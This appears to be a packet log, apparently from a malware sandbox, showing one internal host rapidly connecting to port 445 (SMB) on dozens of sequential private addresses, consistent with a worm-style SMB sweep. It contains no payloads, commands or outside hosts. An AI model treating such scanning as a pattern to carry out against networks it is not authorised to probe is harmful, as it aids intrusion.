Jul 6, 2024 14:11:35.100786924 CEST	52403	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:35.101897955 CEST	52406	445	192.168.2.6	192.168.3.230
Jul 6, 2024 14:11:35.102216005 CEST	52404	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:35.105568886 CEST	445	52402	192.168.3.229	192.168.2.6
Jul 6, 2024 14:11:35.105650902 CEST	445	52403	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:35.105717897 CEST	52403	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:35.105792999 CEST	52403	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:35.106893063 CEST	445	52406	192.168.3.230	192.168.2.6
Jul 6, 2024 14:11:35.106955051 CEST	52406	445	192.168.2.6	192.168.3.230
Jul 6, 2024 14:11:35.107044935 CEST	52406	445	192.168.2.6	192.168.3.230
Jul 6, 2024 14:11:35.110773087 CEST	445	52403	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:35.111335039 CEST	445	52403	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:35.112729073 CEST	445	52406	192.168.3.230	192.168.2.6
Jul 6, 2024 14:11:35.112816095 CEST	52406	445	192.168.2.6	192.168.3.230
Jul 6, 2024 14:11:35.114623070 CEST	445	52404	192.168.3.102	192.168.2.6
Jul 6, 2024 14:11:35.114831924 CEST	52404	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:35.114831924 CEST	52404	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:35.116374016 CEST	52407	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:35.117391109 CEST	52409	445	192.168.2.6	192.168.3.231
Jul 6, 2024 14:11:35.132870913 CEST	52411	445	192.168.2.6	192.168.3.232
Jul 6, 2024 14:11:35.135119915 CEST	445	52404	192.168.3.102	192.168.2.6
Jul 6, 2024 14:11:35.135494947 CEST	445	52404	192.168.3.102	192.168.2.6
Jul 6, 2024 14:11:35.135512114 CEST	445	52407	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:35.135540009 CEST	445	52409	192.168.3.231	192.168.2.6
Jul 6, 2024 14:11:35.135608912 CEST	52409	445	192.168.2.6	192.168.3.231
Jul 6, 2024 14:11:35.135772943 CEST	52409	445	192.168.2.6	192.168.3.231
Jul 6, 2024 14:11:35.138010979 CEST	445	52411	192.168.3.232	192.168.2.6
Jul 6, 2024 14:11:35.138444901 CEST	52411	445	192.168.2.6	192.168.3.232
Jul 6, 2024 14:11:35.138444901 CEST	52411	445	192.168.2.6	192.168.3.232
Jul 6, 2024 14:11:35.140256882 CEST	52407	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:35.140256882 CEST	52407	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:35.146589994 CEST	445	52411	192.168.3.232	192.168.2.6
Jul 6, 2024 14:11:35.146600962 CEST	445	52409	192.168.3.231	192.168.2.6
Jul 6, 2024 14:11:35.147109032 CEST	445	52409	192.168.3.231	192.168.2.6
Jul 6, 2024 14:11:35.147205114 CEST	52409	445	192.168.2.6	192.168.3.231
Jul 6, 2024 14:11:35.147834063 CEST	52412	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:35.148169041 CEST	52415	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:35.148267031 CEST	52416	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:35.148310900 CEST	52417	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:35.148360968 CEST	445	52407	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:35.148852110 CEST	445	52411	192.168.3.232	192.168.2.6
Jul 6, 2024 14:11:35.148900986 CEST	52411	445	192.168.2.6	192.168.3.232
Jul 6, 2024 14:11:35.149060011 CEST	52413	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:35.149113894 CEST	445	52407	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:35.151289940 CEST	52418	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:35.159584045 CEST	445	52412	192.168.3.103	192.168.2.6
Jul 6, 2024 14:11:35.159645081 CEST	52412	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:35.159702063 CEST	52412	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:35.159841061 CEST	52414	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:35.159841061 CEST	52419	445	192.168.2.6	192.168.3.233
Jul 6, 2024 14:11:35.160744905 CEST	445	52415	192.168.3.105	192.168.2.6
Jul 6, 2024 14:11:35.160756111 CEST	445	52416	192.168.3.106	192.168.2.6
Jul 6, 2024 14:11:35.160767078 CEST	445	52417	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:35.160854101 CEST	52416	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:35.160873890 CEST	52417	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:35.160953999 CEST	52416	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:35.161091089 CEST	52417	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:35.163180113 CEST	445	52413	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:35.163232088 CEST	52413	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:35.163321018 CEST	52413	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:35.163343906 CEST	52415	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:35.163343906 CEST	52415	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:35.164581060 CEST	52422	445	192.168.2.6	192.168.3.234
Jul 6, 2024 14:11:35.166057110 CEST	445	52418	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:35.166120052 CEST	52418	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:35.166214943 CEST	52418	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:35.169809103 CEST	445	52412	192.168.3.103	192.168.2.6
Jul 6, 2024 14:11:35.169819117 CEST	445	52414	192.168.3.104	192.168.2.6
Jul 6, 2024 14:11:35.170217037 CEST	445	52416	192.168.3.106	192.168.2.6
Jul 6, 2024 14:11:35.170227051 CEST	445	52417	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:35.170254946 CEST	445	52419	192.168.3.233	192.168.2.6
Jul 6, 2024 14:11:35.170274019 CEST	445	52413	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:35.171046019 CEST	52414	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:35.171046019 CEST	52414	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:35.171046019 CEST	52419	445	192.168.2.6	192.168.3.233
Jul 6, 2024 14:11:35.171046019 CEST	52419	445	192.168.2.6	192.168.3.233
Jul 6, 2024 14:11:35.171104908 CEST	445	52415	192.168.3.105	192.168.2.6
Jul 6, 2024 14:11:35.171114922 CEST	445	52422	192.168.3.234	192.168.2.6
Jul 6, 2024 14:11:35.171160936 CEST	52422	445	192.168.2.6	192.168.3.234
Jul 6, 2024 14:11:35.171211958 CEST	52422	445	192.168.2.6	192.168.3.234
Jul 6, 2024 14:11:35.171308994 CEST	445	52412	192.168.3.103	192.168.2.6
Jul 6, 2024 14:11:35.171375990 CEST	445	52418	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:35.172086954 CEST	445	52417	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:35.172540903 CEST	445	52413	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:35.172713995 CEST	445	52415	192.168.3.105	192.168.2.6
Jul 6, 2024 14:11:35.172859907 CEST	445	52418	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:35.176060915 CEST	445	52414	192.168.3.104	192.168.2.6
Jul 6, 2024 14:11:35.176364899 CEST	445	52414	192.168.3.104	192.168.2.6
Jul 6, 2024 14:11:35.176512957 CEST	445	52419	192.168.3.233	192.168.2.6
Jul 6, 2024 14:11:35.176579952 CEST	445	52422	192.168.3.234	192.168.2.6
Jul 6, 2024 14:11:35.177922010 CEST	52419	445	192.168.2.6	192.168.3.233
Jul 6, 2024 14:11:35.177922010 CEST	52422	445	192.168.2.6	192.168.3.234
Jul 6, 2024 14:11:35.178962946 CEST	52423	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:35.179130077 CEST	52425	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:35.179326057 CEST	52424	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:35.179570913 CEST	52426	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:35.180330038 CEST	52429	445	192.168.2.6	192.168.3.235
Jul 6, 2024 14:11:35.183805943 CEST	445	52423	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:35.183873892 CEST	52423	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:35.183934927 CEST	445	52425	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:35.183943987 CEST	52423	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:35.183985949 CEST	52425	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:35.184052944 CEST	52425	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:35.184072971 CEST	445	52424	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:35.184127092 CEST	52424	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:35.184181929 CEST	52424	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:35.184631109 CEST	52427	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:35.185411930 CEST	445	52429	192.168.3.235	192.168.2.6
Jul 6, 2024 14:11:35.185457945 CEST	52429	445	192.168.2.6	192.168.3.235
Jul 6, 2024 14:11:35.185530901 CEST	52429	445	192.168.2.6	192.168.3.235
Jul 6, 2024 14:11:35.186557055 CEST	445	52426	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:35.186608076 CEST	52426	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:35.186670065 CEST	52426	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:35.188735962 CEST	445	52423	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:35.188812971 CEST	445	52425	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:35.188822985 CEST	445	52423	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:35.188956976 CEST	445	52424	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:35.189105034 CEST	445	52425	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:35.189766884 CEST	445	52424	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:35.190326929 CEST	445	52429	192.168.3.235	192.168.2.6
Jul 6, 2024 14:11:35.190376997 CEST	52429	445	192.168.2.6	192.168.3.235
Jul 6, 2024 14:11:35.191777945 CEST	445	52426	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:35.192158937 CEST	445	52426	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:35.194013119 CEST	445	52427	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:35.194154978 CEST	52427	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:35.195480108 CEST	52431	445	192.168.2.6	192.168.3.236
Jul 6, 2024 14:11:35.200516939 CEST	445	52431	192.168.3.236	192.168.2.6
Jul 6, 2024 14:11:35.200988054 CEST	52431	445	192.168.2.6	192.168.3.236
Jul 6, 2024 14:11:35.204181910 CEST	445	52427	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:35.205991983 CEST	445	52431	192.168.3.236	192.168.2.6
Jul 6, 2024 14:11:35.206048012 CEST	52431	445	192.168.2.6	192.168.3.236
Jul 6, 2024 14:11:35.206125021 CEST	52427	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:35.206125021 CEST	52427	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:35.210053921 CEST	52431	445	192.168.2.6	192.168.3.236
Jul 6, 2024 14:11:35.210928917 CEST	445	52427	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:35.211868048 CEST	52433	445	192.168.2.6	192.168.3.237
Jul 6, 2024 14:11:35.213254929 CEST	445	52427	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:35.215097904 CEST	445	52431	192.168.3.236	192.168.2.6
Jul 6, 2024 14:11:35.216758013 CEST	445	52433	192.168.3.237	192.168.2.6
Jul 6, 2024 14:11:35.217900991 CEST	52433	445	192.168.2.6	192.168.3.237
Jul 6, 2024 14:11:35.217900991 CEST	52433	445	192.168.2.6	192.168.3.237
Jul 6, 2024 14:11:35.224045992 CEST	445	52433	192.168.3.237	192.168.2.6
Jul 6, 2024 14:11:35.225689888 CEST	52434	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:35.225903988 CEST	52433	445	192.168.2.6	192.168.3.237
Jul 6, 2024 14:11:35.225917101 CEST	52435	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:35.226141930 CEST	52436	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:35.230650902 CEST	445	52434	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:35.230751038 CEST	52434	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:35.230761051 CEST	445	52435	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:35.230802059 CEST	52434	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:35.232507944 CEST	445	52436	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:35.232580900 CEST	52436	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:35.232624054 CEST	52436	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:35.233288050 CEST	52435	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:35.233288050 CEST	52435	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:35.235739946 CEST	445	52434	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:35.235847950 CEST	445	52434	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:35.237550974 CEST	445	52436	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:35.237828970 CEST	445	52436	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:35.238588095 CEST	445	52435	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:35.238658905 CEST	445	52435	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:35.241043091 CEST	52438	445	192.168.2.6	192.168.3.238
Jul 6, 2024 14:11:35.241386890 CEST	52439	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:35.241683960 CEST	52441	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:35.242038965 CEST	52435	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:35.242038965 CEST	52440	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:35.246452093 CEST	445	52439	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:35.246529102 CEST	52439	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:35.253012896 CEST	52439	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:35.253659010 CEST	52443	445	192.168.2.6	192.168.3.239
Jul 6, 2024 14:11:35.258052111 CEST	52445	445	192.168.2.6	192.168.3.240
Jul 6, 2024 14:11:35.261765957 CEST	445	52441	192.168.3.112	192.168.2.6
Jul 6, 2024 14:11:35.261784077 CEST	445	52435	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:35.261796951 CEST	445	52440	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:35.261852026 CEST	52441	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:35.261883020 CEST	445	52438	192.168.3.238	192.168.2.6
Jul 6, 2024 14:11:35.261940002 CEST	52441	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:35.261945009 CEST	52440	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:35.262039900 CEST	52440	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:35.263020039 CEST	445	52439	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:35.263061047 CEST	445	52443	192.168.3.239	192.168.2.6
Jul 6, 2024 14:11:35.263478041 CEST	52438	445	192.168.2.6	192.168.3.238
Jul 6, 2024 14:11:35.263478041 CEST	52438	445	192.168.2.6	192.168.3.238
Jul 6, 2024 14:11:35.263478041 CEST	52443	445	192.168.2.6	192.168.3.239
Jul 6, 2024 14:11:35.265446901 CEST	445	52445	192.168.3.240	192.168.2.6
Jul 6, 2024 14:11:35.266988039 CEST	445	52441	192.168.3.112	192.168.2.6
Jul 6, 2024 14:11:35.266997099 CEST	445	52440	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:35.267714024 CEST	445	52439	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:35.268543959 CEST	445	52441	192.168.3.112	192.168.2.6
Jul 6, 2024 14:11:35.268585920 CEST	445	52440	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:35.269665956 CEST	445	52438	192.168.3.238	192.168.2.6
Jul 6, 2024 14:11:35.272806883 CEST	52447	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:35.274451017 CEST	52452	445	192.168.2.6	192.168.3.241
Jul 6, 2024 14:11:35.275150061 CEST	52450	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:35.276490927 CEST	52446	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:35.277590036 CEST	445	52438	192.168.3.238	192.168.2.6
Jul 6, 2024 14:11:35.278094053 CEST	52445	445	192.168.2.6	192.168.3.240
Jul 6, 2024 14:11:35.278094053 CEST	52445	445	192.168.2.6	192.168.3.240
Jul 6, 2024 14:11:35.279100895 CEST	445	52447	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:35.279169083 CEST	52447	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:35.279330015 CEST	52447	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:35.280924082 CEST	52449	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:35.281825066 CEST	445	52452	192.168.3.241	192.168.2.6
Jul 6, 2024 14:11:35.283025026 CEST	52452	445	192.168.2.6	192.168.3.241
Jul 6, 2024 14:11:35.283025026 CEST	52452	445	192.168.2.6	192.168.3.241
Jul 6, 2024 14:11:35.287372112 CEST	52438	445	192.168.2.6	192.168.3.238
Jul 6, 2024 14:11:35.287372112 CEST	52443	445	192.168.2.6	192.168.3.239
Jul 6, 2024 14:11:35.287373066 CEST	52448	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:35.287625074 CEST	445	52446	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:35.287643909 CEST	445	52443	192.168.3.239	192.168.2.6
Jul 6, 2024 14:11:35.289470911 CEST	445	52447	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:35.289954901 CEST	445	52447	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:35.290049076 CEST	445	52450	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:35.290096998 CEST	52450	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:35.290477991 CEST	445	52449	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:35.290499926 CEST	52450	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:35.292320967 CEST	445	52445	192.168.3.240	192.168.2.6
Jul 6, 2024 14:11:35.294349909 CEST	445	52452	192.168.3.241	192.168.2.6
Jul 6, 2024 14:11:35.294486046 CEST	52452	445	192.168.2.6	192.168.3.241
Jul 6, 2024 14:11:35.294585943 CEST	445	52452	192.168.3.241	192.168.2.6
Jul 6, 2024 14:11:35.295238972 CEST	445	52443	192.168.3.239	192.168.2.6
Jul 6, 2024 14:11:35.295248032 CEST	445	52448	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:35.295506954 CEST	445	52450	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:35.295523882 CEST	445	52450	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:35.295768023 CEST	52450	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:35.297889948 CEST	52446	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:35.297889948 CEST	52446	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:35.297889948 CEST	52454	445	192.168.2.6	192.168.3.242
Jul 6, 2024 14:11:35.299659967 CEST	52443	445	192.168.2.6	192.168.3.239
Jul 6, 2024 14:11:35.299659967 CEST	52445	445	192.168.2.6	192.168.3.240
Jul 6, 2024 14:11:35.299659967 CEST	52448	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:35.299916983 CEST	52449	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:35.299917936 CEST	52449	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:35.302771091 CEST	445	52446	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:35.303025961 CEST	445	52446	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:35.303035975 CEST	445	52454	192.168.3.242	192.168.2.6
Jul 6, 2024 14:11:35.304757118 CEST	445	52449	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:35.305160046 CEST	445	52449	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:35.305413961 CEST	445	52450	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:35.305484056 CEST	52448	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:35.305484056 CEST	52456	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:35.305743933 CEST	52454	445	192.168.2.6	192.168.3.242
Jul 6, 2024 14:11:35.305743933 CEST	52454	445	192.168.2.6	192.168.3.242
Jul 6, 2024 14:11:35.306265116 CEST	52455	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:35.310415030 CEST	445	52448	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:35.310878038 CEST	445	52448	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:35.311120987 CEST	445	52455	192.168.3.114	192.168.2.6
Jul 6, 2024 14:11:35.311263084 CEST	52455	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:35.311439037 CEST	52455	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:35.312825918 CEST	445	52456	192.168.3.115	192.168.2.6
Jul 6, 2024 14:11:35.313934088 CEST	52457	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:35.313934088 CEST	52459	445	192.168.2.6	192.168.3.243
Jul 6, 2024 14:11:35.318119049 CEST	445	52455	192.168.3.114	192.168.2.6
Jul 6, 2024 14:11:35.318126917 CEST	445	52455	192.168.3.114	192.168.2.6
Jul 6, 2024 14:11:35.318249941 CEST	52456	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:35.318249941 CEST	52456	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:35.318317890 CEST	445	52454	192.168.3.242	192.168.2.6
Jul 6, 2024 14:11:35.318759918 CEST	445	52457	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:35.321748972 CEST	52454	445	192.168.2.6	192.168.3.242
Jul 6, 2024 14:11:35.321748972 CEST	52457	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:35.325664043 CEST	445	52459	192.168.3.243	192.168.2.6
Jul 6, 2024 14:11:35.330955029 CEST	52461	445	192.168.2.6	192.168.3.244
Jul 6, 2024 14:11:35.331963062 CEST	445	52456	192.168.3.115	192.168.2.6
Jul 6, 2024 14:11:35.332423925 CEST	445	52456	192.168.3.115	192.168.2.6
Jul 6, 2024 14:11:35.335019112 CEST	52462	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:35.335192919 CEST	52463	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:35.337738991 CEST	52457	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:35.337738991 CEST	52459	445	192.168.2.6	192.168.3.243
Jul 6, 2024 14:11:35.337738991 CEST	52459	445	192.168.2.6	192.168.3.243
Jul 6, 2024 14:11:35.337846994 CEST	445	52457	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:35.337941885 CEST	445	52461	192.168.3.244	192.168.2.6
Jul 6, 2024 14:11:35.338606119 CEST	52461	445	192.168.2.6	192.168.3.244
Jul 6, 2024 14:11:35.339108944 CEST	52466	445	192.168.2.6	192.168.3.245
Jul 6, 2024 14:11:35.340259075 CEST	445	52462	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:35.340269089 CEST	445	52463	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:35.340327024 CEST	52462	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:35.340389967 CEST	52462	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:35.340400934 CEST	52463	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:35.340460062 CEST	52463	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:35.340732098 CEST	52464	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:35.342067003 CEST	52457	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:35.342530012 CEST	445	52457	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:35.343986034 CEST	445	52466	192.168.3.245	192.168.2.6
Jul 6, 2024 14:11:35.344038010 CEST	52466	445	192.168.2.6	192.168.3.245
Jul 6, 2024 14:11:35.344099045 CEST	52466	445	192.168.2.6	192.168.3.245
Jul 6, 2024 14:11:35.345026970 CEST	445	52461	192.168.3.244	192.168.2.6
Jul 6, 2024 14:11:35.345310926 CEST	445	52462	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:35.345330954 CEST	445	52462	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:35.345451117 CEST	445	52463	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:35.345618010 CEST	445	52463	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:35.346085072 CEST	52463	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:35.346493959 CEST	445	52459	192.168.3.243	192.168.2.6
Jul 6, 2024 14:11:35.346678972 CEST	445	52464	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:35.348906994 CEST	445	52466	192.168.3.245	192.168.2.6
Jul 6, 2024 14:11:35.348916054 CEST	445	52466	192.168.3.245	192.168.2.6
Jul 6, 2024 14:11:35.348949909 CEST	52466	445	192.168.2.6	192.168.3.245
Jul 6, 2024 14:11:35.352089882 CEST	52468	445	192.168.2.6	192.168.3.246
Jul 6, 2024 14:11:35.352226973 CEST	52464	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:35.352226973 CEST	52464	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:35.352943897 CEST	52461	445	192.168.2.6	192.168.3.244
Jul 6, 2024 14:11:35.352943897 CEST	52461	445	192.168.2.6	192.168.3.244
Jul 6, 2024 14:11:35.353205919 CEST	52459	445	192.168.2.6	192.168.3.243
Jul 6, 2024 14:11:35.356877089 CEST	445	52463	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:35.357207060 CEST	445	52457	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:35.357229948 CEST	52467	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:35.358207941 CEST	445	52468	192.168.3.246	192.168.2.6
Jul 6, 2024 14:11:35.358266115 CEST	445	52461	192.168.3.244	192.168.2.6
Jul 6, 2024 14:11:35.358369112 CEST	52468	445	192.168.2.6	192.168.3.246
Jul 6, 2024 14:11:35.358618975 CEST	52468	445	192.168.2.6	192.168.3.246
Jul 6, 2024 14:11:35.361138105 CEST	445	52464	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:35.361260891 CEST	445	52464	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:35.363518953 CEST	445	52468	192.168.3.246	192.168.2.6
Jul 6, 2024 14:11:35.363527060 CEST	445	52468	192.168.3.246	192.168.2.6
Jul 6, 2024 14:11:35.363560915 CEST	52468	445	192.168.2.6	192.168.3.246
Jul 6, 2024 14:11:35.366671085 CEST	52471	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:35.367631912 CEST	52473	445	192.168.2.6	192.168.3.247
Jul 6, 2024 14:11:35.367894888 CEST	52464	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:35.369483948 CEST	445	52467	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:35.371893883 CEST	445	52471	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:35.371968031 CEST	52471	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:35.372054100 CEST	52471	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:35.372929096 CEST	445	52473	192.168.3.247	192.168.2.6
Jul 6, 2024 14:11:35.374044895 CEST	52473	445	192.168.2.6	192.168.3.247
Jul 6, 2024 14:11:35.374046087 CEST	52473	445	192.168.2.6	192.168.3.247
Jul 6, 2024 14:11:35.374820948 CEST	52470	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:35.374820948 CEST	52467	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:35.374820948 CEST	52467	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:35.375806093 CEST	445	52464	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:35.377243042 CEST	445	52471	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:35.377423048 CEST	445	52471	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:35.379472971 CEST	445	52473	192.168.3.247	192.168.2.6
Jul 6, 2024 14:11:35.379683018 CEST	445	52470	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:35.380103111 CEST	52473	445	192.168.2.6	192.168.3.247
